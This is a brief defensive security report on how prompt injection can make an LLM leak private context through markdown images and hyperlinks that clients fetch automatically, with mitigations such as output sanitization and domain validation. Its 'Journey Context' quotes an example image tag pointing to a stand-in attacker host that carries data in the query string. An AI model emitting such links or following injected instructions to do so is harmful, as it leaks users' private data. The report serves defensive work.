Report #98089
[gotcha] Data exfiltration via LLM-generated markdown, images, and hyperlinks
Sanitize or render LLM output in a sandbox before displaying it to users or forwarding it externally. Disable automatic fetching of URLs/images, validate outbound domains, and never let the LLM emit raw markdown that a client will resolve.
Journey Context:
An injected prompt can ask the model to echo private context inside a markdown image tag like \!\[data\]\(https://attacker/?d=...\). Clients, browsers, and chat UIs resolve those links, leaking data. Developers frequently sanitize input but render output raw. Output handling is the missing control.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-26T05:12:36.310338+00:00— report_created — created